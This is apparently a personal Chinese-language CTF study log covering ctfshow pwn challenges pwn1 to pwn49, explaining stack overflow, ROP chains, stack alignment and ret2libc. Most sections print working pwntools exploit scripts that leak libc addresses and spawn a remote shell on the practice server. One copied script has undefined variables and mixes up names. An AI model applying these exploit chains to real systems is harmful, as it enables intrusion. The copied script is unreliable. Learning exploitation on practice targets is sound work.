ctfshow pwn入门
本来想从ctfhub开始的,但环境欠缺太多,而且前置不太友好,再加上自己基础相当差,故转战ctfshow
Test_your_nc
pwn1
这里打开六十四位文件后发现全是乱码,但是从string能发现catflag的内容

看看位置

发现是在主函数中,而且整个函数中没有出现类似移动rsp的存在,而且没有自定函数,更不存在写入指令
先nc连上试试

得到flag
pwn2
先分析主函数

没有分配栈空间,没有输入指令,但是存在logo的自定义函数,跟进看下

没什么漏洞,这里只是将logo写入缓存区,使用命令行交互获得flag【这里主函数的system参数被接入/bin/sh,能直接交互】

pwn3
先分析主函数

主函数分配了十六字节的空间,自定义函数有menu和logo,这里追menu

只是显示字符
分支过于繁琐,看伪c

选择题

先不搞nc了,尝试直接跳到后续栈溢出
栈溢出
pwn36
die查看后发现是32位,顺带拉去checkesc看下保护

裸奔程序,看字符串

没有发现类似后门的东西,回去看主函数
在主函数中发现ctfshow这个自定义函数,跟进
![]()

发现了无限制输入指令gets,同时它的输出起始位置在ebp+s,有0x28个字节
这里要注意的是,ctfshow这个函数是call进来的,那我们只需要覆盖它的返回地址就行,不用管主函数乱七八糟的栈状态,这里需要向上覆盖0x28+4字节数据,但是地址写什么又是问题,继续找后门函数
![]()
这时候又能发现两条特殊的字符串,ctfshow_flag,还有另一条提示词,跟进
发现获取flag的函数

这里有两条分支;文件存在就读取,不存在就显示文件不存在
地址应该能直接选用这里
锁定函数起始位置

08048586
编写exp

from pwn import * #引入pwntools库
p=remote('pwn.challenge.ctf.show',28279)
payload = b'a'*(0x28+4)+p64(0x08048586) #构造攻击负载
p.sendline(payload) #发送载荷
p.interactive()
pwn37
拉去检测防护,发现nx打开,无法从栈调用函数

先分析程序

这里存在后门地址,定位一下

调用函数在这里,下面直接调用了system,咱们选择lea调用,查看地址

08048535
接着回去分析主函数

有效输入仍然在主函数中调用的ctfshow中,这里read允许输入32h字节,起始地址在ebp-12h,够用
编写exp

这里可能是截取函数的问题,咱们从头开始截取函数地址
08048521

回去看一眼伪c代码

相当干净,怪不得截取片段会炸
这里再说明一下,nx防护主要防止shell写入栈后被执行,保留读写权限,所以它对原本就带着的后门无效
pwn38
先检测,顺带nc一下

nx开启

nc什么也没有
ida分析字符串

发现带换行的后门,跟进


锁定地址0000000000400657
回到主函数

依旧是ctfshow函数,这里需要覆盖0ah+8字节的脏数据,但这里是64位的程序,所以需要栈对齐
有两种方法
第一种,是跳过寄存器的操作,直接将地址指向lea位置,比如下面这样、
第二种就是先ret一遍,再call到目标地址
这里我们使用指令
ROPgadget --binary '/home/kali/桌面/pwn38' --only 'ret'
查找ret的地址

然后我们在我们的代码中加上一段
ret=xxx
p64(ret)

照样也是可以通的
好了,接下来的问题就是什么是栈对齐
首先,对于rsp,它的最小操作单位是1字节,例如,我们能正常的运行一个带有sub rsp,1的程序,这是合理的。但是,64位的操作系统强制规定,执行call前,rsp的值必须是十六的倍数。因为call指令执行时会将八字节的返回地址压入栈中,导致rsp-8,此时若被调函数使用 SSE 指令(如 movaps),要求操作数地址 16 字节对齐,否则触发段错误。这就导致了rsp在一堆约定和硬件限制下,call前的值必须是16的倍数,也就是结尾为0
接着就是怎么处理这个问题了,第一种,也就是先前演示的,直接跳过对栈的操作,避免新函数的push rbp这部导致sp-8,破坏了十六位结构。
第二种就是通过在exp中加入ret的地址,将其插入到覆写步骤之后,通过ret变相实现一次pop,安全高效的修正结尾【这里使用ret是因为它的步骤最干净,不会导致栈中的数据被打乱,这里接下来说明】
现在我们来理解下流程
回到程序,我们能发现在程序退出时一般都是使用leave和ret这两个指令组合,以这里的ctfshow为例,

leave这个指令能分成两步来理解
mov rbp,rsp
pop rbp
正常运行时,这两步归还了栈空间,还将先前push的rbp恢复,并将sp指向函数返回地址,保证后续ret到原先程序时程序依然能正常执行
而ret指令,则是先弹出数据到ip,然后将sp加八
这两个指令连起来,就实现了程序的弹出
我们插入ret后,程序在执行到原先的ret【此时sp指向插入的ret的地址,执行,sp+8到目标地址位置】,会跳转到返回地址,这时,返回地址已经变为ret的地址了,那么cpu要继续执行这个ret【读取返回地址,并且sp+8】,此时sp已经指向真正的目标地址,ret弹出程序并让sp+8,实现目的
判断栈对齐的方法能看下这位大佬的文章,gdb下断点检测
攻防世界pwn-level0栈对齐 - 神犬侠义 - 博客园
pwn39
查看保护

依旧存在nx保护,ida打开看string

主要输入函数被依旧是ctfshow,输入指令为read,输入限制为0x32h,而输入起始位置在ebp-12h
脏数据量为12h+4,32位也有栈对齐这种说法,但是是4的倍数,而且esp动一下就是四字节,基本不会导致无法对齐,对不齐的后果也没有64位的严重,只是可能导致性能下降
接着我们来找后门函数

发现/bin/sh,跟进

这就是后门函数了,但是在这之前引入了一个奇怪的函数,跟进看看

看起来是单纯的寄存器赋值操作,先不管了,直接定位到这个函数看看能不能出
08048521

编写exp

应该是在system之前调用了奇怪的函数, 开伪c看下代码

使用put输出字符串/bin/sh,之后才是system。现在我们要想办法把字符串传导到system中
这里我们能采用拼接的方式,先找system和/bin/sh的地址
objdump -d -j .plt '/home/kali/桌面/pwn39'
查看动态库函数,-d反汇编,-j .plt限定处理范围为过程链接表

这里我们能发现system的函数位置在0x80483A0,左边那个
接着我们用ROPgadget查找/bin/sh所在位置,OPgadget --binary --string /bin/sh

发现两个,用哪个都行,0x08048750
继续编写exp

from pwn import * #引入pwntools库
p=remote('pwn.challenge.ctf.show',28241)
system_add=0x80483A0
bin_add=0x08048750
payload = b'a'*(0x12+4)+p32(system_add)+p32(0)+p32(bin_add) #构造攻击负载
p.sendline(payload) #发送载荷
p.interactive()
这里我们将目标地址替换为了system 的地址和bin的地址,它们中间使用p32(0)分隔,这个p32(0)的作用是为 system() 函数准备的返回地址占位符:
这里涉及到一个32位的约定,cdecl 调用约定。这个约定定义了需要传入参数的函数,适用于所有在32位环境下编译的c和c++函数。
它的内容就是通过栈传递返回地址和参数
比如我们现在存在一个被编译的函数func(),而它需要三个参数,用起来的样子类似于func(a,b,c),那么在这个函数执行之后,它期望的栈是这样的:
高位 返回地址 参数n ...... 参数1 低位
所以这里的p32(0)起的就是作为返回地址占位的作用。而后跟进的bin地址就会作为变量传入system中,而使用地址的原因,是因为system本质上是int system(const char *command);这里调用了内存指针,所以导致了system的认指针不认字符
如果这里想要换其他函数尝试的话,要先看看它是否属于执行后要返回的类型,如果是的话,要重新将0中的内容换为有效的返回值。

通过这里我们也能看到,exit选择终结bin的进程后,再次进入是错误的,因为返回地址没有被正确设置。
pwn40
查看保护。发现只开了nx

无法使用shellcode,64位ida打开直奔ctfshow

read允许读写32h大小,从rbp-0ah开始写入,存在栈溢出,覆写大小0ah+8
在ctfshow上方有函数名称叫hint,上题这里就是后面,继续跟进

又是put /bin/sh,然后system输出字符串

先尝试下昨天的老方法,这里找到的bin位置在0x400808

system函数的位置在0x400520

鉴于这是64位的程序,备一个ret以往万一,0x4004fe

这里还需要拿pop rdi后ret的地址,0x4007e3
编写exp
from pwn import * #引入pwntools库
p=remote('pwn.challenge.ctf.show',28271)
system_add=0x0000000000400520
bin_add=0x0000000000400808
ret_add=0x00000000004004fe
pop_rdi=0x00000000004007e3
payload = b'a'*(0x0a+8)+p64(pop_rdi)+p64(bin_add)+p64(ret_add)+p64(system_add) #构造攻击负载
p.sendline(payload) #发送载荷
p.interactive()

这里的基础思路其实是和32位一样的,都是想办法把/bin/sh传输到system中。但是因为不同位数系统的约定不同,64位参数的引入要比32位复杂一些
简单来讲,64位系统为了保证系统的快速运行,前六个参数的传递会交给寄存器处理,比如在64的linux系统中,它会使用如下寄存器进行一到六个的参数传递
第 1 个参数:rdi
第 2 个参数:rsi
第 3 个参数:rdx
第 4 个参数:rcx
第 5 个参数:r8
第 6 个参数:r9
第 7 个及以后的参数:由于寄存器用完了,剩下的参数才会被压入栈(Stack)中。
浮点数参数:前 8 个浮点参数使用 xmm0 到 xmm7 寄存器。
返回值:函数的返回值通常存放在 rax 寄存器中。
而system只需要一个参数,那么我们直接使用rdi就行了
而对于64位的windos系统,原理相同,但是使用的寄存器会有些变化
- 前 4 个参数:依次放入
rcx,rdx,r8,r9。 - 第 5 个及以后的参数:压入栈中。
- 返回值:存放在
rax中。
所以我们回到我们的exp
payload = b'a'*(0x0a+8)+p64(pop_rdi)+p64(bin_add)+p64(ret_add)+p64(system_add)
假设程序已经执行到leave和ret
首先是溢出,这里不多解释,不影响rsp
leave结束以后,rsp被归零到rbp,也就是旧rbp的存档位,接着被执行pop rbp,此时sp指向返回地址
接着执行ret,返回地址是pop rdi的地址,执行后因为ret作用sp继续向高位移动,来到bin地址
此时pop发力,将bin的地址送入rdi中,并将sp继续向高位移动,接着执行ret【pop自带的那个】
来到我们写入的ret,被自带的ret执行,使sp继续移动到system位置,将system弹出到ip,被cpu执行
system读取rdi的内容,将其作为参数,执行/bin/sh
这里的栈对齐很好算,当sp=bp的时候,栈是对齐的,假如我们没有写入ret的地址,栈移动了三次,一次是劫持时的ret,一次时pop,一次是pop后的ret。这样,奇数次的sp移动,导致栈的无法对其,所以我们需要使用ret来进行栈对齐操作
而关于其他栈对齐的检测,我们能使用pwngdb,下面是linux的下载bash
curl --proto '=https' --tlsv1.2 -LsSf 'https://install.pwndbg.re' | sh -s -- -t pwndbg-gdb
官方网站:
pwn41
去检测保护,发现nx开启

用32位ida打开文件,从mian发现写入函数依旧是ctfrshow
跟进

sp被下压了0x14h,read被允许写入32h的内容,存在溢出,而写入起始位置在ebp-12h
覆写内容量为12h+4,32位系统不考虑栈对齐
接着尝试寻找后门函数

从字符串中发现echoflag,跟进查看引用源

将echo作为变量传入system中,实现输出flag,但是这里只是单纯的输出flag这个字符串,而不是flag这个文件
但是我们看函数列表,我们能发现一个函数名字叫做useful,但是如果我们对其进行交叉引用探测的话,我们能发现它没有被任何函数引用,同时单单的sh我们也无法在string中找到

在这里,system(“sh”)是相对路径,能否用来执行并不清楚,眼下我们只能试试了

这里我们取第一个的位置,0x080487ba
接着我们去找system

0x080483d0
开始编写exp
from pwn import *
p = remote('pwn.challenge.ctf.show',28307)
system_add= 0x080483d0
sh_add = 0x080487ba
payload=b'a'*(0x12+4)+p32(system_add)+p32(0)+p32(sh_add)
p.sendline(payload)
p.interactive()

这里存在的问题是,我们根据ls列出的目录,我们能发现我们是在根目录中的,但是system是怎么定位到bin文件夹中的?
我们打开bin文件夹,发现文件夹内都是些cmd指令,那说明sh是直接可以被调用的
bin的全称是binary,翻译过来叫做二进制。这里存储的都是预先写好的二进制文件,当我们在终端中调用命令时,执行的实际上就是它们,所以可以直接调用。而sh的作用就是启动shell环境,再通俗一点,就是启动终端
"/bin/sh"与"sh"区别:
system("/bin/sh") :
在Linux和类Unix系统中, /bin/sh 通常是一个符号链接,指向系统默认的shell程序(如Bash或Shell)。因此,使用 system("/bin/sh") 会启动指定的shell程序并在新的子进程中执行
这种方式可以确保使用系统默认的shell程序执行命令,因为 /bin/sh 链接通常指向默认shell的可执行文件
system("sh"):
使用 system("sh") 会直接启动一个名为 sh 的shell程序,并在新的子进程中执行
这种方式假设系统的环境变量 $PATH 已经配置了能够找到 sh 可执行文件的路径,否则可能会导致找不到 sh 而执行失败

pwn42
查看保护,发现只开启了nx

64位ida打开,具体情况和上题一样,sh还在useful中,先到ctfshow中分析

需要覆盖的量是0ah+8,允许读写32h,存在溢出,起始输入位置在buf
根据先前在64位中调用sysytem的经验,system对于单变量会读取rdi作为变量,我们需要将sh入栈后pop到rdi
接着我们去找我们需要的函数

找到sysytem,0x400560

找到sh,0x400872
接着我们需要找ret和pop rdi;ret

pop rdi的位置在0x400843
ret的位置在0x40053e
编写exp
from pwn import * #引入pwntools库
p=remote('pwn.challenge.ctf.show',28160)
system_add=0x400560
sh_add=0x400872
ret_add=0x40053e
pop_rdi=0x400843
payload = b'a'*(0x0a+8)+p64(pop_rdi)+p64(sh_add)+p64(ret_add)+p64(system_add) #构造攻击负载
p.sendline(payload) #发送载荷
p.interactive()
关于32位和64位的system函数调用,先前说过,这里就不再赘述了
不过说来惭愧,我目前判断栈对齐的方式还是通过报错,确定自己的exp思路没有问题的话,有报错就试着加上ret
pwn43

依旧只开了nx防止跳关
32位打开
跟进ctfshow

这里分配的空间为74h+0ch,使用了gets函数作为写入,我们就有了无限的覆盖量
而起始的地址,在ebp+s。
push edx ; s
mov ebx, eax
call _gets
在call前的动作,就是在为gets赋起始位置
或者还有一种更简单的做法
f5进入伪c代码

我们看到,gets(s),括号中的s就是起始位置,而在程序开头的104就是s的缓冲空间,只要再加上4,108就是我们想要的覆盖长度
接着我们寻找后门函数

在字符转中,我们找不到任何关于后门的线索,返回函数列表继续寻找
在hint中,我们发现了system的踪迹

但是启用条件较为复杂,这里使用c分析

这里要我们输入v2,如果v2等于v3就能回到system
但是这个v3是一个随机数,或者说是伪随机数,c语言的随机库,只要确保种子相同,就能实现有效预测。但是就算成功,system的变量是"where is shell“,单纯执行它肯定是不行的。换句话说,出题人压根不想让你用它
这里我们就只能自己将/bin/sh写入system中了
我们使用工具pwngdb
装载方式如下:
git clone https://github.com/pwndbg/pwndbg.git
cd pwndbg
./setup.sh
最后会出现配置确认框,tab切换到选项后确定就行
在进入pwndbg之前,我们首先要执行指令:
chmod +x /home/kali/桌面/pwn43
让pwn43允许被执行
接着start执行文件,然后使用内存工具vmmap,展示详细内存映射,找到能够写入的段

查看一个段是否能够写入,我们需要查看prem,也就是权限栏 ,r为读权限,w为写权限,x可执行,p不可执行
我们发现段0x804b000到0x804c000这段是允许读写的,但是由于nx的原因,不允许执行
我们就能将/bin/sh写入这个段中,使用gets的话,通过栈传递地址,规则和system相同
buffer的地址设置为0x804c000-32,整段很大,只留32位就可以了
接着我们查找system和gets的位置

get在0x08048420
system在0x08048450
接着去找pop ebx;ret

它在0x08048409
先写pop链
payload = b'a'(108)+ p32(gets) + p32(system)+p32(buffer) + p32(buffer)
这里的思路很简单,溢出到位以后,ret执行get,system此时作为get的返回地址,后续buffer被传入,作为写入地址。到system时,get的buffer作为返回占位,最后的bufffer,也就是binsh的地址被传入system
要注意的是,需要的是地址还是地址中的内容,都是由调用地址的函数决定的。比如get就是用地址。system就是用地址中的数据
编写exp
from pwn import *
io = remote("pwn.challenge.ctf.show", 28207)
offset = 0x6C + 4
# 区间为b000~c000,所以地址设置如下
bin_sh_addr = 0x804c000 - 16
system_addr = 0x08048450
gets_addr = 0x08048420
# 两个binsh分别为两函数的参数
payload = offset * b'a' + p32(gets_addr) + p32(system_addr) + p32(bin_sh_addr) + p32(bin_sh_addr)
io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()
from pwn import *
p = remote('pwn.challenge.ctf.show', 28207)
system_addr = 0x8048450
buf2_addr = 0x804c000 - 16
gets_addr = 0x8048420
pop_ebx = 0x8048409
payload = b'a'*(104) + p32(gets_addr) + p32(system_addr)+p32(buf2_addr)+p32(buf2_addr)
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()
然后出现了很神奇的现象
除了变量不同,这两段代码原理上是一模一样的,但下面的就是用不了,上面的还是能用的

研究明白了再补吧
pwn44
还是只打开了nx

64位ida打开
跟进ctfshow

从rbp-0ah开始写入,这里覆写大小为0ah+8
象征性的看下hint函数

更是演都不演了
objdump查找system和get地址

system在0x0000000000400520;
gets在0x0000000000400530
题目提示了没有binsh,就不再费力区找了
接下来我们需要去找pop rid;ret,和ret,64位传递参数全靠这个

poprdi在0x00000000004007f3
ret在0x00000000004004fe
接着我们使用pwndbg查看可用写入空间

我们看到0x602000~0x603000段是有写入权限的
接着,我们来编写exp
from pwn import *
io = remote("pwn.challenge.ctf.show", "28142")
system_addr = 0x0000000000400520
gets_addr = 0x0000000000400530
ret_addr = 0x00000000004004fe
rdi_addr = 0x00000000004007f3
binsh_addr = 0x603000 - 16
offest = 0xA + 0x8
payload = offest * b'a' + p64(rdi_addr) + p64(binsh_addr) + p64(ret_addr) + p64(gets_addr) + p64(rdi_addr) + p64(
binsh_addr) + p64(ret_addr) + p64(system_addr)
io.recv()
io.sendline(payload)
io.sendline(b"/bin/sh")
io.interactive()
这里的调用逻辑和先前用rdi给函数赋值相同,这里的gets和system都需要这样操作。而对于两个函数的返回地址,是在栈上在它之后靠近高字节的写入内容,换在脚本中,比如gets的返回地址就是rdi_addr。对于system,我们没有为它准备任何返回地址
那么这段代码离开ret还能不能跑?操作数是偶数,显然是可以的,如下

它和加了ret的区别就是没有logo的显示了,但是system的功能仍然正常
pwn45
这里题目的提示说明了没有system。还是例行检查下保护

还是只有nx
看下有什么能用的函数

system是真没了,也没有别的能读取文件的函数
先看看ida吧

这里我们发现要写入的量是6bh+4,read的允许读写范围远大于这个,存在溢出
回去看主函数的话,能发现主函数最后调用了write

这个函数是将内容输出文件
如果我们尝试nc的话,我们能发现这个函数是被提示用来获取偏移地址来确定libc版本的
这题实际上应该归属于栈溢出中的ret2libc的第三种类型,没有sys,bin和sh
这部分详见
实际上都在绕过nx
这类题大概思路我就直接粘贴wiki的了
ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。
简而言之,就是程序在执行的时候,函数的位置会发生偏移,不同版本的libc库中的函数偏移不同;而我们能通过已知函数的偏移来确定libc库的大概版本,比如在这题中,libc库的检索看起来就是这样的:
[+] There are multiple libc that meet current constraints :
0 - libc6_2.19-0ubuntu6_amd64
1 - libc6_2.19-0ubuntu4_amd64
2 - libc6_2.19-0ubuntu3_amd64
3 - libc6_2.19-0ubuntu5_amd64
4 - libc-2.36-22.mga9.x86_64
5 - libc6-i386_2.27-3ubuntu1_amd64
6 - libc6_2.17-93ubuntu2_amd64
7 - libc6-i386_2.27-3ubuntu1.3_amd64
8 - libc6-i386_2.27-3ubuntu1.4_amd64
9 - libc6_2.17-93ubuntu4_amd64
[+] Choose one : 5
这是一个libc库匹配工具输出的结果,需要我们选择特定版本的libc库,然后用库中system和binsh的地址套入exp中实现【libc中一般都会有bin,没有的话自己写也行,重点是sysytem】
当然,这里没什么好办法,挨个试。或者能写个自动轮询脚本,我是没这个能力()
接着来聊聊要用到的工具,libcsearcher,我们可以在终端中输入以下内容获取这个夯爆了的拓展
pip install LibSearcher
接着,你需要去github去下载一个叫做libc-base的玩意,如果没有条件,csdn的镜像网站也是有的
libc-database:Build a database of libc offsets to simplify exploitation - AtomGit | GitCode
然后把这玩意拉去任何一个linux系统,进入它的文件夹后终端执行
./get ubuntu
这条指令会下载所有它已经归档的libc库,下载完成db文件夹中应该会出现一堆后缀为url和so的文件,这是正常现象,接着把db文件夹复制到libcsearcher文件夹下,不知道位置在哪里的可以直接拿着pip完的截图问ai,拷贝到文件夹下就能使用了
下面是这题的exp
from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show", 28172)
elf = ELF("D:\网安\题目附件\ctfshow pwn\pwn45")
pad = b'a'*(0x6B+0x4)
main_addr = elf.symbols['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
payload = pad + p32(write_plt) + p32(main_addr) + p32(0) + p32(write_got)+ p32(4)
#p32(4)为write函数的参数
p.sendline(payload)
write_real = u32(p.recvuntil(b'\xf7')[-4:])
libc = LibcSearcher("write", write_real)
libc_base = write_real - libc.dump("write")
system_addr = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")
payload = pad + p32(system_addr) + p32(0xdeadbeef) + p32(bin_sh)
p.sendline(payload)
p.interactive()

接着我们来分析这条exp到底干了什么
elf = ELF("D:\网安\题目附件\ctfshow pwn\pwn45")
这条指令分析了指定路径的文件,让我们能在后续读取它的符号表或者是别的什么玩意
栈溢出的计算这里就不再说明了,重点是这里调用的函数
这里没有直接调用目标函数的地址,当文件被elf解析过后,我们是能通过函数名称直接锁定地址的,就像这里用symbol一样
这里还有很多拓展,简单展开下
elf.plt['symbol_name']:获取指定符号在plt中的地址。PLT用于间接调用共享库中的函数。
elf.got['symbol_name']:获取指定符号在GOT中的地址。GOT保存了动态链接库函数的实际地址。
elf.sym['symbol_name']:获取指定符号在ELF文件中的地址。可以是函数或变量。
在pwntools中,symbols、search、next是用于在ELF文件中查找符号或字符串的
symbols主要用于获取ELF中文件指定符号或已定义函数的地址:“
symbol_address=elf.symbols['symbol_name']
search主要用来在ELF中搜索指定字符串的位置:
与symbols方法不同,search方法不需要字符串在符号表中已经定义:
string_address=elf.search['symbol_name']
next函数通常与search方法结合使用,用于获取所有匹配字符串地址的下一个地址:
next_address = next(elf.search(b'string_to_search'))
来自大佬贴
CTFSHOW-PWN(42-45)_pwn45入门 ctfshow-CSDN博客
接着就是got和plt地址了,两个都使用write
- GOT (Global Offset Table,全局偏移表):位于数据段,可写。它里面存放的是外部函数(如 libc 中的
write)的真实物理内存地址。程序刚加载时,这里可能是个空壳;当write第一次被调用后,动态链接器(ld-linux)会把真实的 libc 地址填到这里。 - PLT (Procedure Linkage Table,过程链接表):位于代码段,只读。它是一段“跳板代码”。程序调用
write时,实际上是跳到了write_plt,然后write_plt会去查write_got里的地址,最后跳过去执行。 - 我们的目的:我们要调用
write函数,所以把返回地址设为write_plt;我们要泄露write的真实地址,所以把write_got作为参数传给它。
接着就来到了我们的rop链
payload = pad + p32(write_plt) + p32(main_addr) + p32(0) + p32(write_got)+ p32(4)
执行后,栈结构大概长这样:
| 垃圾数据 (pad) | 111 字节
| write_plt (返回地址) | <--- CPU 执行 ret 时,EIP 指向这里,开始执行 write 的跳板代码
| main_addr | <--- write 执行完后,它的返回地址。让程序回到 main 重新开始
| 0 (参数1: fd) | <--- write 的第 1 个参数。0 是 stdin。
| write_got (参数2: buf)| <--- write 的第 2 个参数。要读取的内存地址。
| 4 (参数3: count) | <--- write 的第 3 个参数。要读取的字节数。
【这里再重新理解下write函数,它是用来输出函数的,和printf,puts功能差不多,但更为底层基础,所以说很多程序员不喜欢用它,本质上还是输出数据到屏幕】
做完这些,write的地址将会被我们输出到屏幕,32位系统存储地址有四字节,也就是两字的空间,如果你了解过王爽的汇编4的话,8086的地址存储是两字节,也就是一个字。同样的,64位就是8字节4个字了
接着就是截取屏幕输出
write_real = u32(p.recvuntil(b'\xf7')[-4:])
在 32 位 Linux 中,由于内核空间和用户空间的划分,libc 库通常被映射在 0xf7000000 到 0xf7ffffff 的高位地址空间。因此,libc 中任何函数的地址,其最高位字节(小端序的最后一个字节)几乎总是 0xf7。
recvuntil 会一直阻塞接收数据,直到看到 \xf7。此时缓冲区末尾一定是 \xf7。[-4:] 往前截取 4 个字节,正好是完整的 32 位地址。u32() 将其从小端序字节流还原为 Python 的整型(如 0xf7e12340),也就是倒过来
接下来,我们开始计算基址
libc = LibcSearcher("write", write_real)
libc_base = write_real - libc.dump("write")
计算的原因,是因为aslr会随机打乱libc的基址,但是为了准确寻址,函数的偏移地址是不会变的。也就是说,无论 libc 加载到哪里,system 函数距离 write 函数的距离是永远固定的。
- LibcSearcher 原理:由于我们不知道远程服务器用的是 Ubuntu 18 还是 20 的 libc,
LibcSearcher会提取write_real的后 12 位(页内偏移,如0x340),去本地数据库里匹配哪个 libc 版本的write函数偏移量后三位也是0x340。 - 数学计算:
- 已知:
write的真实物理地址 =write_real - 已知:
write在 libc 文件中的固定偏移 =libc.dump("write") - 推导:Libc 基址 = 真实物理地址 - 固定偏移。
一旦算出了libc_base,ASLR 保护就被彻底击碎了,整个 libc 库对你来说就是“透明”的。
- 已知:
基址推算出来后,就是通过基址锁定system和bin,在偏移已知的情况下,我们能很轻松的获取它们的位置
system_addr = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")
payload = pad + p32(system_addr) + p32(0xdeadbeef) + p32(bin_sh) p.sendline(payload)
p.interactive()
这里就是利用了在一直libc版本的情况下偏移已知的条件,使用dump命令就能准确搜索函数与字符串的位置,接着将它们按照正常的rop链准备就能实现system('/bin/sh')的执行
思路理清以后,重点就是两个库的配合应用了 。这一块还是得练
pwn46
查看保护

这里和之前没什么区别,那么继续跟进ctfshow函数查看占位

这里开始位置在buf,溢出区域应该是70h+8
之前是write函数帮我们确定了libc的位置,接着我们跟进hint,看看这次是什么函数

我们还是能在程序中找到write,那么流程就和原来大差不差了
先前说过,64位传递参数的方式是通过寄存器传递
第 1 个参数:rdi
第 2 个参数:rsi
第 3 个参数:rdx
第 4 个参数:rcx
第 5 个参数:r8
第 6 个参数:r9
在上一题中,write使用了三个参数;0,内存地址,读取长度
这里我们的读取长度因为到了64位而发生了些许转变,我们要读取八位
接着,我们需要找找我们要用到的指令的地址
ret,pop rdi,还有pop rsi,pop rdx

ret:0x00000000004004fe
pop rdi:0x0000000000400803
然而,这张图中的si是被r15捆绑的,它并不单纯,但也能用。只要在有效值输入后写入一个废值,就能规避这个问题
pop rsi_r15:0x0000000000400801
然而并没有rdx,但是我们回到我们跳转的地方,也就是ctfshow函数,我们会发现它对rdx赋过值

当然,这里是对edx赋值,但是在64位的规定中,32位寄存器的值会将高位清零,低位的值将保留32位的值。这个值是明显大于8的,这里我们能通过后续字符截断处理
这里使用如下指令
catstring = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
截取x7f以前的六位,然后补全镜像八位。这里不直接截取八位的原因是可能存在换行符干扰,从而获得错误的地址
接着就能使用libcsearcher库进行匹配了
接下来我们开始编写exp
from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show", 28313)
elf = ELF('D:\网安\题目附件\ctfshow pwn\pwn46')
offest = b'a'*(0x70+8)
pop_rdi = 0x0000000000400803
ret = 0x00000000004004fe
pop_rsi_r15 = 0x0000000000400801
main_add=elf.symbols['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
payload= offest + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(main_add)
p.sendline(payload)
write_real = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc = LibcSearcher("write", write_real)
libc_base = write_real - libc.dump("write")
system_add = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")
payload =offest + p64(pop_rdi) + p64(bin_sh) + p64(system_add)+p64(ret)
p.sendline(payload)
p.interactive()
最后在测试出libc版本后得到flag

pwn47
这题只说是ret2libc,拉去检测

开启了nx,部分got表可修改,libc的理想环境,32位打开

依旧调用了ctfshow,跟进

写入函数是gets,没有限制,需要覆盖的量是9ch+4
接着看看有没有能利用的函数(要是这题已经提示是libc了感觉不做也行【】)

没有system,接着试试查找bin

没有,不报期望了
接着我们看看有没有能让我们用的,输出目标函数地址的函数
回到main,我们看到用了一堆puts,而且puts的变量要比write少很多,只需要一个,也就是我们想要输出的目标地址
接着我们开始编写exp
from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show", 28206)
elf = ELF("D:\网安\题目附件\ctfshow pwn\pwn47")
offset = b'a'*(0x9c+4)
mian_add = elf.symbols['main']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload = offset + p32(puts_plt) + p32(mian_add) + p32(puts_got)
p.sendline(payload)
real_puts = u32(p.recvuntil(b'\xf7')[-4:])
libc = LibcSearcher("puts",real_puts)
libc_base=real_puts - libc.dump("puts")
sys_addr = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = offset +p32(sys_addr) + p32(0)+p32(bin_sh)
p.sendline(payload)
p.interactive()
基本框架和先前一样,注意最后出来的库多试几个,有的库选择了后logo还能正常显示,但是后续交互环节会直接断掉,这种情况就是库选错了。
这题还有另一种解法,我们先nc环境

nc的话,我们能发现塔已经为我们暴露了一些函数的位置了
我们实际上能拿着这些函数的位置直接减去got位置,获得libc库的基址
真实内存地址 = 基址 (Base) + 相对偏移量 (Offset)
做下逆运算,基址就等于真实内存地址减去偏移量
所以就省去了我们找函数的功夫
于是有如下exp(摘自网络)
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='i386', os='linux')
# context(log_level='debug',arch='amd64', os='linux')
io = remote("pwn.challenge.ctf.show", 28301)
elf = ELF("./pwn")
pad = b"a"*(0x9c+4)
p.recvuntil("puts: ")
puts_addr = int(p.recv(10),16) # %p的是十六进制,转整数
# puts_addr = u32(r(10), endian='little') # 或者这样
print(hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr-libc.dump("puts")
print(hex(base_addr))
sys_addr = libc_base+libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")
payload = pad + p32(sys_addr)+p32(0xdeadbeef)+p32(bin_sh)
p.sendline(payload)
p.interactive()
但最后还是要依赖于libsearcher的库匹配,还是有些费力
pwn48
题目说是没有write,尝试使用puts。从函数接受的变量来看
先拉去检测

还是32位,那应该能拿上题的碾过去

这里要覆写的偏移量是6bh+4

简单修改下,就能继续使用了。这里使用libc库libc6-i386_2.27-3ubuntu1_amd64,exp如下
from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show", 28104)
elf = ELF("D:\网安\题目附件\ctfshow pwn\pwn48")
offset = b'a'*(0x6b+4)
mian_add = elf.symbols['main']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload = offset + p32(puts_plt) + p32(mian_add) + p32(puts_got)
p.sendline(payload)
real_puts = u32(p.recvuntil(b'\xf7')[-4:])
libc = LibcSearcher("puts",real_puts)
libc_base=real_puts - libc.dump("puts")
sys_addr = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = offset +p32(sys_addr) + p32(0)+p32(bin_sh)
p.sendline(payload)
p.interactive()
pwn49
这里题目提示我们说是静态编译,先不管这玩意,尝试检查防护

这里另外开了金丝雀,而且nx还开着防止逃票
金丝雀是什么?简单点讲,就是在变量和bp存档之间存放了一个特殊值,叫做“金丝雀”
